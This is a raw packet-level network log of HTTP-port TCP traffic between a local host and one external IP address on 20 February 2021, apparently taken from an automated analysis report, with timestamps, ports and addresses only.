Feb 20, 2021 09:48:09.195280075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195293903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195302010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195317030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195331097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195334911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195350885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195358038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195378065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195409060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195430994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195451975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195476055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195478916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195498943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195499897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195519924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195528984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195538044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195550919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195553064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195569992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.195578098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.195604086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.197953939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198000908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198019028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198038101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198048115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.198055029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198061943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.198072910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198092937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.198113918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.198219061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198244095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198268890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198267937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.198291063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.198291063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198309898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198313951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.198327065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198337078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.198343039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198359966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198367119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.198379993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.198390961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.198416948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200112104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200129986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200150013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200165987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200181007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200193882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200195074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200202942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200234890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200310946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200330019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200354099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200380087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200381994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200423002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200440884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200443029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200458050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200465918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200474024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200494051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200495958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200515985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200521946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200542927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200544119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200565100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200567961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200588942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200588942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200612068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200613976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200634956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200637102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200654984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200659037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200675011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200685978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200697899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200720072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200721025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200737000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200742006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200754881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200764894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200792074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200793982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200817108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200838089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200839996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200861931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200865030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200879097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200886965 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200896025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200912952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.200913906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200938940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200958014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.200984955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201009035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201028109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201033115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201051950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201052904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201076031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201076031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201092958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201101065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201112032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201126099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201131105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201148987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201153040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201175928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201198101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201212883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201229095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201246023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201267958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201284885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201291084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201313972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201329947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201337099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201350927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201363087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201368093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201390982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201396942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201410055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201435089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201436996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201455116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201479912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201499939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201561928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201586008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201606035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201607943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201622963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201632023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201653004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201666117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201672077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201688051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201692104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201706886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201719046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201730013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201744080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201752901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201771021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201775074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201793909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201797009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201814890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201817036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201837063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201841116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201858997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201864004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201878071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201889038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201896906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201915026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201915026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201931000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.201939106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.201962948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206671953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206696987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206720114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206741095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206757069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206763029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206770897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206773996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206779957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206782103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206806898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206813097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206830025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206841946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206852913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206864119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206877947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206887007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206897974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206912041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206912994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206923008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206929922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206937075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206955910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206970930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.206971884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206979990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.206990004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.207003117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.207005978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.207015038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.207024097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.207041025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.207048893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.219723940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.219769001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.219798088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.219820023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.219846010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.219852924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.219875097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.219885111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.219888926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.219892025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.219897985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.219908953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.219919920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.219929934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.219942093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.219958067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.219964027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.219974041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.219985008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220001936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220005989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220017910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220037937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220043898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220072985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220077038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220104933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220108032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220134974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220139980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220163107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220169067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220185995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220197916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220213890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220227003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220237017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220252037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220259905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220268965 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220285892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220294952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220309019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220321894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220330954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220345020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220351934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220365047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220374107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220387936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220393896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220411062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220416069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220431089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220438004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220453978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220463991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.220475912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.220498085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225475073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225516081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225543022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225569010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225584030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225595951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225604057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225608110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225630045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225660086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225671053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225675106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225677967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225724936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225727081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225759029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225769043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225805998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225833893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225851059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225856066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225860119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225860119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225893974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225897074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225934982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.225939035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.225975037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226012945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226013899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226020098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226046085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226058960 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226073027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226099968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226100922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226139069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226151943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226159096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226185083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226186037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226221085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226227999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226248980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226259947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226279020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226310968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226310015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226319075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226339102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226362944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226375103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226391077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226413012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226454020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226459026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226464033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226495028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226521015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226531982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226538897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226551056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226567030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.226577997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226603985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.226608038 CET	49165	80	192.168.2.22	185.81.0.78
